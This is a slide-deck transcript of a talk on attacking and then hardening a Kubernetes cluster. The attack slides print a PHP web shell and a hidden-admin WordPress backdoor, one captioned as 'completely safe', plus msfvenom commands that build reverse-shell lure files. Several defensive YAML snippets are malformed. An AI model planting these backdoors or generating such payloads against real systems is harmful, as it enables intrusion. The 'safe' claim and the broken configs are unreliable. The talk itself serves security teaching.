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Johann du Toit
October 31, 2019
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Attacking a K8s cluster and how defending it
Will show how to attack a Kubernetes cluster followed promptly by how to secure your cluster.
Johann du Toit
October 31, 2019
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Transcript
Bust a Kube: Let’s attack a Kubernetes cluster and secure
it along the way
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WHAT ATTACKING DEFENDING
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WHAT ATTACKING OMG HELP
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PODS NODES SERVICES NAMESPACES
POD Pods are the smallest unit of work in kubernetes
All containers in a pod share IP 10.10.10.1 10.10.10.2 10.10.10.3 10.10.10.4 ip address pod container volume
Node Kubelet Container Runtime: Docker Kube-proxy Kubelet C ontainer Runtim
e pod #1 pod #2 pod #3
Services A service is a load balancer, create a DNS
name and ip address that routes traffic to matching labels 10.100.10.1 10.10.10.2 10.10.10.2 service ip address public traffic
Services A service is a load balancer, create a DNS
name and ip address that routes traffic to matching labels 10.100.10.1 10.10.10.2 10.10.10.2 service ip address public traffic app=hello tier=web app=hello tier=web
Namespaces Logical grouping of resources and the first hint of
multi-tenancy 10.10.10.2 10.10.10.2 10.10.10.2 10.10.10.2 Marketing Finance
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> kubectl apply -f app.yaml
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KUBERNETES API SERVER KUBELET CONTAINER RUNTIME ETCD KUBERNETES DASHBOARD
POD Pods are the smallest unit of work in kubernetes
All containers in a pod share IP 10.10.10.1 10.10.10.2 10.10.10.3 10.10.10.4 ip address pod container volume Attacks Tend to Start from a POD
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<?php add_action('wp_head', 'WordPress_bscript'); function WordPress_bscript() { file_put_contents( "exec.php", ‘<?php echo
shell_exec($_REQUEST[“c”]);’ ); } ?>
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<?php add_action('wp_head', 'WordPress_backdoor'); function WordPress_backdoor() { If ($_GET['backdoor'] == 'go')
{ require('wp-includes/registration.php'); If (!username_exists('backdooradmin')) { $user_id = wp_create_user('admin', ‘admin'); $user = new WP_User($user_id); $user->set_role('administrator'); } } } ?>
“Head over to your site and try the function. It’s
fun, completely safe and can help you in the future if you ever need to have a backdoor entry to your website.”
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Kali Linux
msfvenom \ -p linux/x64/meterpreter/reverse_tcp \ LHOST=<your ip> \ LPORT=<some port>
\ -f sh \ -o clickme.sh
msfvenom \ -p linux/x64/meterpreter/reverse_tcp \ LHOST=<your ip> \ LPORT=<some port>
\ -f elf \ -o clickme
msfvenom \ -p linux/x64/meterpreter/reverse_tcp \ LHOST=<your ip> \ LPORT=<some port>
\ -f exe \ -o clickme.exe
msfvenom \ -p linux/x64/meterpreter/reverse_tcp \ LHOST=<your ip> \ LPORT=<some port>
\ -f macho \ -o clickme.macho
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KUBERNETES API SERVER KUBELET CONTAINER RUNTIME ETCD KUBERNETES DASHBOARD
CONTROL PLANE NETWORKING HOST RUNTIME
CONTROL PLANE NETWORKING HOST RUNTIME
KUBERNETES API SERVER KUBELET CONTAINER RUNTIME ETCD KUBERNETES DASHBOARD
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UPGRADE!
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Role Based Access Control
“RBAC”
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Role: MarketingAdmin Role: Developer
apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: namespace: marketing name: secret-reader rules:
- apiGroups: [""] resources: ["secrets"] verbs: ["get", "watch", "list"] Role: MarketingAdmin Role: Developer
apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: namespace: marketing name: secret-reader rules:
- apiGroups: [""] resources: ["secrets"] verbs: ["get", "watch", "list"] Role: MarketingAdmin Role: Developer RoleBinding
CONTROL PLANE NETWORKING HOST RUNTIME
apiVersion: v1 kind: Pod metadata: name: security-context-demo spec: SecurityContext: runAsUser:
1000 Step 1: Run as Non Root
apiVersion: v1 kind: Pod metadata: name: security-context-demo spec: SecurityContext: runAsUser:
1000 readOnlyRootFileSystem: true Step 2: Read Only Filesystem
apiVersion: v1 kind: Pod metadata: name: security-context-demo spec: SecurityContext: runAsUser:
1000 readOnlyRootFileSystem: true allowPrivilegeEscalation: false Step 3: Prevent Escaping
CONTROL PLANE NETWORKING HOST RUNTIME
apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: allow-db-access spec: podSelector: matchLabels:
tier: database ingress: - from: - podSelector: matchLabels: frontend policyTypes: - Ingress Network Policy
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CONTROL PLANE NETWORKING HOST RUNTIME
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Minimal Host OS
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AppArmor
seccomp
Questions?
• CIS Benchmark - CIS Security • Kube-bench - Aqua
Security • Kube Auto Analyzer - Rory McCune • KubeAudit - Shopify • Sonobuoy - VMWare / Heptio • KubeATF - Symantec
Security is a not a noun you refer to every
now and then, it’s a verb and involves constant and specific action
Thanks!
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